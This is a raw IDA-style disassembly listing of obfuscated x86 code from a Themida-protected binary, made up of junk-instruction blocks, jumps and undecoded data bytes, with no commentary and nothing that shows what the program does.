loc_60A593:				; CODE XREF: Themida_:00603857j
		sub	esi, 0DBCFDDEAh
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		shr	eax, 18h
		jmp	loc_60ABA8
; ---------------------------------------------------------------------------
		dd 4C381h, 0C3830000h, 241C3304h, 33241C31h, 248B241Ch
		dd 9CC88524h, 0FF8D10E9h, 4EC83FFh, 68240C89h, 3FBFh, 0BB241C89h
		dd 39157FF1h, 1EB81h, 0E3810000h, 485255C1h, 0B951DBF7h
		dd 0F7EFAABEh, 65E9CB31h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60A5FB:				; CODE XREF: Themida_:006072FCj
		pop	esi
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	edi
		sub	esp, 4
		jmp	loc_60BCFF
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 0C5810000h, 4, 31242C33h, 2C33242Ch,	24248B24h
		dd 8904EC83h, 0E6892434h, 4C681h, 55570000h, 0FFCAEBE9h
		dd 8C9BE9FFh, 2966FFFFh, 0BC0566D8h, 9A056674h,	57665668h
		dd 4DE6BF66h, 2E95766h,	81FFFFEDh, 772C19F1h, 3E1C17Bh
		dd 1AC9E9h, 4C05AD00h, 56C280Fh, 4D066C8Ch, 0B951D829h
		dd 4C11668Fh, 0FFA147E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60A681:				; CODE XREF: Themida_:0060A58Ej
		push	ebp
		push	edx
		mov	edx, 3E260ED7h
		add	edx, 720A1285h
		not	edx
		or	edx, 335561E0h
		push	eax
		mov	eax, 19F20351h
		jmp	loc_60B291
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 5B000000h, 0FFC21CE9h, 24148BFFh, 0E904EC83h, 3860h
		dd 5D2414F7h, 0CAE7ED81h, 0E9219DB3h, 40A7E9h, 42EA8100h
		dd 8111FB43h, 0C36B3FC2h, 3867E926h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_60A6DA:				; CODE XREF: Themida_:0060B6ACj
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_604ED3
; ---------------------------------------------------------------------------
		db 59h
		dd 0F4B95156h, 0BE1A1A61h, 47A8CF65h, 1657E9h, 5AD12900h
		dd 5EE9D901h, 80000048h, 0EF807CF7h, 80F1B572h,	0FD0039C5h
		dd 5B39ED80h, 0C2E9EDD0h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_60A71B:				; CODE XREF: Themida_:0060481Fj
		push	dword ptr [esp]
		pop	ecx
		push	eax
		jmp	loc_603439
; ---------------------------------------------------------------------------
		db 25h,	7, 63h
		dd 4E2D7CCEh, 404E4E7Eh, 105BBA52h, 0DAF774E6h,	8102EAC1h
		dd 5B8B2CEAh, 5AD03135h, 51F8B850h, 0EA81623Bh,	2065111Dh
		dd 0C281C201h, 2065111Dh, 0E24BE958h, 0E954FFFFh, 4D30h
		dd 8B243487h, 0BE0F2424h, 108268C8h, 0C890000h,	298EE924h
		dd 0D0010000h, 825BEA2Dh, 24148B34h, 81E68956h,	4C6h, 4EC8300h
		dd 3902E9h
		db 0
; ---------------------------------------------------------------------------


loc_60A795:				; CODE XREF: Themida_:0060CCEAj
		push	edi
		mov	edi, 0BB37902h
		neg	edi
		jmp	loc_609368
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 1C8BD901h, 0C2E95224h, 81FFFF8Dh,	0DA208CEDh, 66BA5202h
		dd 0E950002Eh, 0FFFFBAA7h, 7D484C2Dh, 0E9C82973h, 0FFFFE0A5h
		dd 0D9E9C301h, 59FFFFCAh, 625D8005h, 2D2D2Eh, 0E80123B2h
		dd 0B2002D05h, 5D802D23h, 685D2E62h, 2D90h, 0BE243489h
		dd 2, 93E9F001h, 66000035h, 665B6368h, 0E9241489h, 0FFFF9C07h
; ---------------------------------------------------------------------------


loc_60A810:				; CODE XREF: Themida_:00605541j
		sub	eax, 0DAA9C7E6h
		jmp	loc_60B5AD
; ---------------------------------------------------------------------------


loc_60A81A:				; CODE XREF: Themida_:0060E8B5j
		push	6923h
		mov	[esp], edx
		jmp	loc_6063CC
; ---------------------------------------------------------------------------
		db 52h
		dd 210D11BAh, 93F28113h, 8170CA1Dh, 0EB1086F2h,	5AD18963h
		dd 4246C81h, 5B663EC2h,	4244C01h, 1B72E9h, 24248B00h, 2896664h
		dd 0FF8A84E9h, 48B66FFh, 0E6895624h, 0CC57E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60A866:				; CODE XREF: Themida_:00608BEBj
		pop	esp
		jmp	loc_60DAFE
; ---------------------------------------------------------------------------
		dd 0F995E95Eh, 103FFFFh, 24148B59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_607182
; ---------------------------------------------------------------------------


loc_60A888:				; CODE XREF: Themida_:00609AB9j
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		sub	[edi+24h], ecx
		mov	ecx, [esp]
		add	esp, 4


loc_60A8A3:				; CODE XREF: Themida_:00609C56j
		push	6774h
		mov	[esp], ebx
		push	ebp
		mov	ebp, 612272D4h
		jmp	loc_60E86E
; ---------------------------------------------------------------------------


loc_60A8B6:				; CODE XREF: Themida_:0060392Aj
		xchg	ebp, [esp]
		pop	esp
		shr	ecx, 0Ah
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	eax, 3C74478Ch
		add	eax, 28663938h
		push	esi
		mov	esi, 592D3646h
		jmp	loc_60F073
; ---------------------------------------------------------------------------


loc_60A8DC:				; CODE XREF: Themida_:006066F7j
		pop	eax
		push	ecx
		mov	ecx, 57CE221Bh
		sub	eax, ecx
		pop	ecx
		jmp	loc_6084D6
; ---------------------------------------------------------------------------
		db 81h
		dd 434B2BEEh, 0DECFE907h, 34FFFFFFh, 0E9575824h, 0FFFFDF3Ch
; ---------------------------------------------------------------------------


loc_60A900:				; CODE XREF: Themida_:006048BAj
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_60CF97
; ---------------------------------------------------------------------------


loc_60A90B:				; CODE XREF: Themida_:00605021j
		mov	[esp], eax
		jmp	loc_6032DD
; ---------------------------------------------------------------------------


loc_60A913:				; CODE XREF: Themida_:006032DFj
		mov	bh, 0Ah
		add	al, bh
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_60D77E
; ---------------------------------------------------------------------------
		dd 3FD168h, 24148900h, 0FFF8A0E9h, 81C301FFh, 0D72A93C3h
		dd 0C0FCE971h, 96E9FFFFh, 81FFFF89h, 44110FC6h,	66F6815Fh
		dd 29AAA84Dh, 515B5EF1h, 42474FFh, 24048F59h, 2404895Ch
		dd 0FFDEC4E9h, 5BDE01FFh, 0D058E956h, 0FCBEFFFFh, 81717D07h
		dd 63BE67EEh, 5EF00170h, 86E9C801h, 89FFFF9Bh, 0E189240Ch
		dd 4C181h, 0F8680000h, 89000070h, 4BB241Ch, 1000000h, 0C875BD9h
		dd 24248B24h, 0FF9980E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60A9AD:				; CODE XREF: Themida_:0060BF4Dj
		add	edi, 8251A10Ah
		mov	esi, edi
		pop	edi
		jmp	loc_60ABB3
; ---------------------------------------------------------------------------
		db 8Bh
		dd 78E9240Ch, 81FFFF8Bh, 4C3h, 22F1E900h, 0B9510000h, 25632910h
		dd 4B26F181h, 1BE9065Bh
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60A9DF:				; CODE XREF: Themida_:0060E162j
		add	ebx, 60C581Dh
		jmp	loc_60DBF1
; ---------------------------------------------------------------------------
		dw 0D366h
		dd 0E99C2404h, 0FFFF88E9h, 835FF801h, 43302C0h,	24043124h
		dd 485EE9h, 0E1F58100h,	8178A467h, 92638CEDh, 0E9EB0116h
		dd 2DCCh, 0FF5DEB29h, 88BBE930h, 0C481FFFFh, 4,	31243433h
		dd 34332434h, 24248B24h, 0E9240489h, 0FFFF88A1h
; ---------------------------------------------------------------------------


loc_60AA3C:				; CODE XREF: Themida_:00606C72j
		mov	eax, edx
		mov	edx, [esp]
		jmp	loc_609F14
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0E8ACE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60AA4E:				; CODE XREF: Themida_:0060E5D9j
		xchg	ebp, [esp]
		pop	esp
		or	eax, eax
		jz	loc_6079FE
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 7A3D5E80h
		jmp	loc_605527
; ---------------------------------------------------------------------------


loc_60AA68:				; CODE XREF: Themida_:0060D5ADj
		mov	ah, cl
		not	ah
		mov	cl, ah
		pop	ax
		jmp	loc_60938B
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 2Bh
		dd 81FFFFD6h, 0FC39DEF6h, 5EF50100h, 31242C33h,	2C33242Ch
		dd 0CC85E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60AA92:				; CODE XREF: Themida_:0060664Dj
		pop	eax
		sub	ebp, esi
		push	esi
		mov	esi, 15A50077h
		jmp	loc_60B3C3
; ---------------------------------------------------------------------------
aM0SArAZ	db '0SaRՀƇ',0
		db 0F3h, 5Ah, 80h
		dd 0C380FFEBh, 0E9505220h, 0FFFFEF4Eh, 2424895Ch, 4240481h
		dd 5F000000h, 4ED968h, 242C8900h, 4B951h, 81510000h, 6924242Ch
		dd 0E95D107Ch, 0FFFFA0EFh
; ---------------------------------------------------------------------------


loc_60AAE4:				; CODE XREF: Themida_:0060BE73j
		push	edx
		jmp	loc_603C46
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0FFFFA45Ah, 0E94ADAF7h, 45CDh
; ---------------------------------------------------------------------------


loc_60AAF8:				; CODE XREF: Themida_:00606C9Dj
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_60A310
; ---------------------------------------------------------------------------


loc_60AB09:				; CODE XREF: Themida_:00604446j
		pop	esp
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	ecx
		mov	ecx, 48D952DFh
		xor	[esp+4], ecx
		pop	ecx
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebp
		push	esi
		mov	esi, 623B358Dh
		jmp	loc_6035FB
; ---------------------------------------------------------------------------


loc_60AB45:				; CODE XREF: Themida_:00608AA5j
		pop	ebx
		mov	edx, eax
		pop	eax
		sub	[edi+24h], edx
		jmp	loc_60733C
; ---------------------------------------------------------------------------


loc_60AB51:				; CODE XREF: Themida_:00604FB9j
		pop	esp
		mov	[esp], esi
		pop	eax
		push	dword ptr [esp]
		pop	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_6098C9
; ---------------------------------------------------------------------------


loc_60AB6E:				; CODE XREF: Themida_:0060AE10j
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_60339B
		push	ecx
		mov	ecx, 1
		push	39EEh
		mov	[esp], ecx
		add	dword ptr [esp], 6B4C0415h
		pop	edx
		push	esi
		push	ecx
		mov	ecx, 6C1843B4h
		mov	esi, 0B0B2B38Ah
		sub	esi, 49BE38F2h
		sub	esi, ecx
		jmp	loc_60C51E
; ---------------------------------------------------------------------------


loc_60ABA8:				; CODE XREF: Themida_:0060A5ABj
		xor	eax, ecx
		push	eax
		xchg	ebp, [esp]
		jmp	loc_60D64E
; ---------------------------------------------------------------------------


loc_60ABB3:				; CODE XREF: Themida_:0060A9B6j
		add	edx, esi
		pop	esi
		jmp	loc_6088DC
; ---------------------------------------------------------------------------
		db 52h
		dd 0B630B551h, 59EE30E1h, 0F5307AB5h, 80E5D05Ah, 0EE00ABC5h
		dd 69F68059h, 8024C680h, 526616EEh, 0F0280BB6h,	0F0285A66h
		dd 60E90B04h, 0E9FFFFCBh, 0FFFF86EDh, 4C681h, 0EE810000h
		dd 4, 0FFCEA9E9h, 242489FFh, 4B850h, 6C810000h,	23570424h
		dd 440103DDh, 44810424h, 23570424h, 61E903DDh, 31FFFFEEh
		dd 0E626E9E9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60AC2A:				; CODE XREF: Themida_:0060E515j
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_607F26
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 7
		dd 0E92D8B42h, 1A2Ch
; ---------------------------------------------------------------------------


loc_60AC44:				; CODE XREF: Themida_:0060C6EBj
		add	esp, 4
		push	eax
		mov	eax, 36224FF2h
		or	edx, eax
		pop	eax
		add	edx, 0C9D48009h
		jmp	loc_604805
; ---------------------------------------------------------------------------
		db 81h
		dd 184A25C6h, 8BF389C7h, 0C4832434h, 5BDE0104h,	0FF9190E9h
		dd 0FFEA80FFh, 4EC81h, 4AE90000h, 4E000022h, 0EAF6814Eh
		dd 1874C4Dh, 0B5685EF5h, 8900004Bh, 74FF242Ch, 8F5D0424h
		dd 0D35C2404h, 3AE92424h, 81FFFF86h, 636473EDh,	81F50114h
		dd 636473C5h, 0E9565E14h, 0FFFFE78Dh
; ---------------------------------------------------------------------------


loc_60ACB8:				; CODE XREF: Themida_:006053A0j
		sub	dl, 1
		sub	dl, 1
		jmp	loc_60A303
; ---------------------------------------------------------------------------


loc_60ACC3:				; CODE XREF: Themida_:006039A6j
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	3344h
		mov	[esp], ebp
		mov	ebp, 2B53531Ah
		push	edx
		push	eax
		mov	eax, 346459A1h
		mov	edx, 3DF72F63h
		xor	edx, eax
		mov	eax, [esp]
		jmp	loc_60959E
; ---------------------------------------------------------------------------
		db 0F6h, 0F1h, 66h
		dd 66CCB60Fh, 667BAC68h, 66240C89h, 66C8B60Fh, 55E99C51h
		dd 1FFFF9Ch, 9C92E9F9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60AD0E:				; CODE XREF: Themida_:0060E89Cj
		mov	edx, [esp]
		add	esp, 4
		add	ebx, 2D336165h
		add	ebx, 5DDF18A6h
		dec	ebx
		not	ebx
		xor	ebx, 1FC22C8Ah
		jmp	loc_6088EE
; ---------------------------------------------------------------------------
		dw 0CB01h
		dd 2BE5659h, 0E9000000h, 2E7Eh,	460FF9BDh, 3FE5812Dh, 811D2A76h
		dd 0A23702F5h, 6C58166h, 53337F52h, 0CF9052BBh,	5BDD31B5h
		dd 901E9h, 2474FF00h, 48F5A04h,	1C255C24h, 5159872h, 0FAF7C1E4h
		dd 48BC189h, 4C48324h, 0FF98AEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60AD81:				; CODE XREF: Themida_:00608F2Fj
		push	esi
		mov	esi, 67238A3Fh
		xor	edi, esi
		jmp	loc_607077
; ---------------------------------------------------------------------------


loc_60AD8E:				; CODE XREF: Themida_:00603ACEj
		push	5281043Eh
		pop	ebx
		jmp	loc_6097F2
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aQh		db '$Qh`',0
		dw 5400h
		dd 8324048Fh, 0E9042404h, 3EB8h, 8904EC83h, 4BE2434h, 0E9000000h
		dd 11F0h, 885326B5h, 0F98851EFh, 1F35E9h, 850BE900h, 0C483FFFFh
		dd 24048704h, 0FFBE3BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60ADDD:				; CODE XREF: Themida_:00609DB3j
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_6090F9
; ---------------------------------------------------------------------------
		dd 89EF8957h, 22E95FFAh
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60AE07:				; CODE XREF: Themida_:0060D5D8j
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_60AB6E
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 43h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60AE1B:				; CODE XREF: Themida_:0060F147j
		sub	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		pop	esp
		jmp	loc_608FA9
; ---------------------------------------------------------------------------
		db 8Fh
		dd 4832404h, 48B0424h, 4C48324h, 0ADCE9h, 5FFA8900h, 70D36857h
		dd 315F4980h, 0D5315FFAh, 0E0F3E95Ah, 0C481FFFFh, 4, 0A4249624h
		dd 4651E9h, 81DEF700h, 0FB9498C6h, 5EF5898Ch, 0EDC1DDF7h
		dd 3FF58105h, 290D68BCh, 242C8BEAh, 2904C483h, 65B951C2h
		dd 560A0F63h, 4D3728BEh, 3440E959h, 1C8B0000h, 4C48324h
		dd 4960B951h, 0E1817E92h, 4B0837A9h, 521BC981h,	0E9815A15h
		dd 1113F73h, 0EC83D1F7h, 241C8904h, 0FBEC33BBh,	5BD931A6h
		dd 0FFFE6DE9h, 4C481FFh, 68000000h, 788Ah, 89242C89h, 0C9BF57E5h
		dd 81732264h, 0B81539E7h, 2EF78157h, 8178905Bh,	372B64CFh
		dd 0EF814F5Ch, 2595400Eh, 0D23E9h, 1C77FF00h, 1858669Dh
		dd 0E99C2404h, 0FFFFDDA3h, 0FD88E788h, 148B585Bh, 4C48324h
		dd 5B2434FFh, 279BE9h, 0BEE95000h, 66FFFFB3h, 0E924048Bh
		dd 1DA7h, 0BA241489h, 76CF274Ch, 4588E953h, 8B660000h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		jmp	loc_60B277
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFF9D4Fh, 78E9D1F6h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60AF57:				; CODE XREF: Themida_:00605B6Aj
		add	ebp, 61227E5Eh
		pop	edx
		and	eax, ebp
		pop	ebp
		or	edx, eax
		jmp	loc_605D3D
; ---------------------------------------------------------------------------
		dd 0B30458h, 66B32CE8h,	0E9516659h, 13F9h
; ---------------------------------------------------------------------------


loc_60AF78:				; CODE XREF: Themida_:0060A192j
		push	ecx
		mov	cl, 0B8h
		add	cl, 8Bh
		sub	cl, 38h
		xor	ah, cl
		pop	ecx
		mov	bh, ah
		pop	eax
		jmp	loc_60E9EB
; ---------------------------------------------------------------------------
		dd 0D34D540Dh, 0C1D0F729h, 0BA5208E8h, 57431EB2h, 3A0FC281h
		dd 0D0311E36h, 144B2D5Ah, 0C121FA42h, 30F36858h, 4890000h
		dd 0A3F7B824h, 0C1297102h, 8BCB0158h, 0C483240Ch, 33E10504h
		dd 0D8017061h, 6133E12Dh, 0D810E970h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60AFD6:				; CODE XREF: Themida_:00605B10j
		pop	dword ptr [esp]
		pop	esp
		div	ecx
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		push	ebp
		mov	ebp, 54685AC5h
		add	ebp, 72272118h
		jmp	loc_604CE0
; ---------------------------------------------------------------------------


loc_60AFF8:				; CODE XREF: Themida_:00605576j
		pop	esi
		jmp	loc_60BD6B
; ---------------------------------------------------------------------------


loc_60AFFE:				; CODE XREF: Themida_:0060C6FBj
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		push	edi
		mov	edi, 4
		sub	ebx, edi
		mov	edi, [esp]
		jmp	loc_60DB2D
; ---------------------------------------------------------------------------
		dw 8149h
		dd 0D83E00C1h, 8319E9C7h, 7E68FFFFh, 8900003Eh,	1FE92434h
		dd 81FFFFB0h, 3E02A1EBh, 3C66E9ECh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_60B03A:				; CODE XREF: Themida_:0060480Fj
					; Themida_:00604CFFj
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0B6E1864h
		shr	edx, 8
		sub	edx, 0B6E14h
		sub	edi, edx
		pop	edx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_60CC7F
; ---------------------------------------------------------------------------
		dd 1E1686BAh, 8666E955h, 3C89FFFFh, 815F5424h, 4C7h, 0AD36E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60B086:				; CODE XREF: Themida_:0060908Dj
		add	bl, 0DCh
		sub	bl, al
		sub	bl, 0DCh
		add	bl, 0F6h
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		push	2B2h
		mov	[esp], ebx
		push	edx
		mov	dh, al
		mov	bh, dh
		jmp	loc_60DD1C
; ---------------------------------------------------------------------------


loc_60B0AA:				; CODE XREF: Themida_:00604CE6j
		or	edx, 55FC05E3h
		xor	edx, 47C1377Ah
		jmp	loc_60660D
; ---------------------------------------------------------------------------
		db 52h
		dd 0D028A4B2h, 0FFE08FE9h, 0EC815DFFh, 4, 0FF243C89h, 5F042474h
		dd 0FFC525E9h, 240C8BFFh, 26DEE9h
		db 0
; ---------------------------------------------------------------------------


loc_60B0E1:				; CODE XREF: Themida_:00603373j
		mov	ebp, [esp]
		jmp	loc_606C9A
; ---------------------------------------------------------------------------


loc_60B0E9:				; CODE XREF: Themida_:0060476Ej
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_60B9F8
; ---------------------------------------------------------------------------


loc_60B0F4:				; CODE XREF: Themida_:0060EBB9j
		pop	ecx
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		mov	esi, [esp]
		jmp	loc_60679E
; ---------------------------------------------------------------------------


loc_60B105:				; CODE XREF: Themida_:0060978Ej
		inc	ebp
		xchg	ebp, ecx
		not	ecx
		push	ebx
		mov	ebx, 27E027FBh
		sub	ecx, 33454D7Ch
		add	ecx, ebx
		push	edx
		push	ebx
		mov	ebx, 2773079h
		jmp	loc_609D8A
; ---------------------------------------------------------------------------
		dd 18BE5655h, 8104502Fh, 714F33C6h, 8AE9463Dh
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60B137:				; CODE XREF: Themida_:006092F5j
		mov	esp, [esp]
		jmp	loc_609FDF
; ---------------------------------------------------------------------------
		db 66h
		dd 56240C8Bh, 0C681E689h, 4, 8704EE83h,	895C2434h, 0E789243Ch
		dd 4C781h, 0EC830000h, 242C8904h, 19046850h, 48B75A8h
		dd 4C48324h, 372D3335h,	0D732561h, 0CF055D88h, 89EB77FBh
		dd 0C78158C5h, 2D381F67h, 0EF81EF01h, 2D381F67h, 0FFFF30E9h
		dd 0EF8147FFh, 20F47F1h, 0FF8B7AE9h, 0C3285AFFh, 5824C380h
		dd 0FFC4AEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60B1AD:				; CODE XREF: Themida_:0060CA44j
		or	ecx, 253140D8h
		dec	ecx
		add	ecx, 791F085Dh
		add	ecx, 0C8EF8BACh
		add	edi, ecx
		pop	ecx
		add	edi, 4
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_607A34
; ---------------------------------------------------------------------------
		dd 0E905EBC1h, 0FFFF9B24h, 8B243C87h, 0EE92424h, 68000039h
		dd 0EBCh, 0BD242C89h, 13323868h, 357AE952h, 555D0000h
		dd 0DF1E9h, 0F6815E00h,	0CE739D65h, 1B7AE9h, 0E95E5400h
		dd 0FFFFF9D8h, 4BDh, 5DEE0100h,	0FFB7C1E9h, 2A52BEFFh
		dd 0F00160D8h, 0BD7CE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60B232:				; CODE XREF: Themida_:0060DB7Aj
		mov	edx, ecx
		pop	ecx
		shl	edx, 8
		jmp	loc_60BE78
; ---------------------------------------------------------------------------


loc_60B23D:				; CODE XREF: Themida_:0060DBB5j
		pop	ebx
		mov	esi, [esp]
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		jmp	loc_60A55F
; ---------------------------------------------------------------------------


loc_60B24E:				; CODE XREF: Themida_:0060697Fj
		add	ebp, 4
		jmp	loc_6095E3
; ---------------------------------------------------------------------------


loc_60B256:				; CODE XREF: Themida_:0060CD86j
		pop	esi
		add	ecx, 6B584AE5h
		mov	edx, ecx
		pop	ecx
		sub	edx, edi
		pop	edi
		sub	eax, 2E34CFh
		sub	eax, edx
		add	eax, 2E34CFh
		mov	edx, [esp]
		jmp	loc_60D4C6
; ---------------------------------------------------------------------------


loc_60B277:				; CODE XREF: Themida_:0060AF43j
		mov	[esp], edx
		push	ecx
		push	esi
		mov	esi, 7C02225h
		not	esi
		inc	esi
		not	esi
		sub	esi, 0F634E588h
		jmp	loc_60BBB9
; ---------------------------------------------------------------------------


loc_60B291:				; CODE XREF: Themida_:0060A69Cj
		xor	eax, 0FC72037Eh
		jmp	loc_608F86
; ---------------------------------------------------------------------------
		db 80h
		dd 0E6C09DCEh, 0A8EE8002h, 5AF300h, 1721E9D8h, 0C4810000h
		dd 4, 39BB5350h, 89254167h, 44815BD8h, 7B80424h, 0EAE95E7Ch
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_60B2CB:				; CODE XREF: Themida_:0060D799j
		xor	eax, 18D53367h
		shl	eax, 5
		xor	eax, 73563330h
		xor	eax, 3FAD3FAEh
		push	ebp
		mov	ebp, 745D2B5Ah
		sub	eax, ebp
		pop	ebp
		sub	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		jmp	loc_606753
; ---------------------------------------------------------------------------


loc_60B2F7:				; CODE XREF: Themida_:00607AA5j
		mov	edx, ebp
		pop	ebp
		xor	[esp+4], edx
		pop	edx
		pop	eax
		push	7C50h
		mov	[esp], edi
		mov	edi, 6D6F7686h
		xor	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	11B3h
		mov	[esp], esi
		mov	esi, esp
		push	ebx
		jmp	loc_6042AC
; ---------------------------------------------------------------------------
		db 89h
		dd 4BF57E2h, 1000000h, 0BF575FFAh, 50635E93h, 0E9D7F747h
		dd 0FFFFB1C9h
; ---------------------------------------------------------------------------


loc_60B33C:				; CODE XREF: Themida_:0060D58Bj
		mov	edi, 12A14B3Eh
		sub	edi, 4EAA5F6Dh
		sub	edi, 0FFFFFFFFh
		xor	edi, 0C3F6EBD6h
		add	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	eax, 4
		jmp	loc_605B03
; ---------------------------------------------------------------------------
		dd 6C34D0F6h, 2404E8C0h, 53602C69h, 8DE9C388h, 89000034h
		dd 4C781E7h, 0E9000000h, 0FFFF8B2Ah, 0AABA525Bh, 9066D7Eh
		dd 0ED815AD5h, 0BEFF7EFCh, 2C8BE901h, 4C48324h,	2474FF51h
		dd 48F5904h, 24248B24h,	2404FF66h, 7F2BE99Ch, 2C8BFFFFh
		dd 4EC8124h, 89000000h,	7DE9241Ch
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60B3C3:				; CODE XREF: Themida_:0060AA9Bj
		add	ebp, esi
		pop	esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_6032DD
; ---------------------------------------------------------------------------


loc_60B3D4:				; CODE XREF: Themida_:00608783j
		push	ebp
		mov	ebp, 3D422C55h
		add	ebp, 6BFD2761h
		add	ebp, 2FE84D93h
		push	edi
		jmp	loc_60BE6C
; ---------------------------------------------------------------------------


loc_60B3EC:				; CODE XREF: Themida_:00607FEBj
		add	ecx, 2CD6649Bh
		inc	ecx
		jmp	loc_60DCF6
; ---------------------------------------------------------------------------


loc_60B3F8:				; CODE XREF: Themida_:00605494j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_60F301
; ---------------------------------------------------------------------------
		db 68h,	72h, 3Ah
		dd 2C890000h, 2C8B5424h, 4C48124h, 81000000h, 4C5h, 4C58300h
		dd 0E9242C33h, 0FFFF9D1Dh
; ---------------------------------------------------------------------------


loc_60B42C:				; CODE XREF: Themida_:0060F006j
		push	edx
		jmp	loc_60A368
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 96E92404h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60B43B:				; CODE XREF: Themida_:0060F1F5j
		pop	edi
		jmp	loc_60EBBE
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 31ABE9h, 24248B00h, 0FF7E8CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60B451:				; CODE XREF: Themida_:00606C2Cj
		push	6504h
		mov	[esp], ebx
		mov	ebx, 9074DD2h
		or	ecx, ebx
		pop	ebx
		push	esi
		mov	esi, 8DAD749Fh
		add	ecx, esi
		pop	esi
		sub	ebx, ecx
		pop	ecx
		push	ecx
		jmp	loc_6033F6
; ---------------------------------------------------------------------------
		db 1
		dd 89D7E9D9h, 3C8BFFFFh, 4C48324h, 56BE5653h, 815A290Dh
		dd 0EF3CCBC6h, 89A6E96Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60B492:				; CODE XREF: Themida_:00609272j
		pop	ecx
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_60908C
; ---------------------------------------------------------------------------
		dd 0E9241430h, 19E0h, 0FF2434FFh, 0E9582434h, 2152h, 0E9240487h
		dd 0FFFFC789h
; ---------------------------------------------------------------------------


loc_60B4BC:				; CODE XREF: Themida_:0060EA9Fj
		mov	ebx, 0
		sub	ebx, 634D596Ah
		sub	ebx, 106A04D5h
		jmp	loc_608E68
; ---------------------------------------------------------------------------
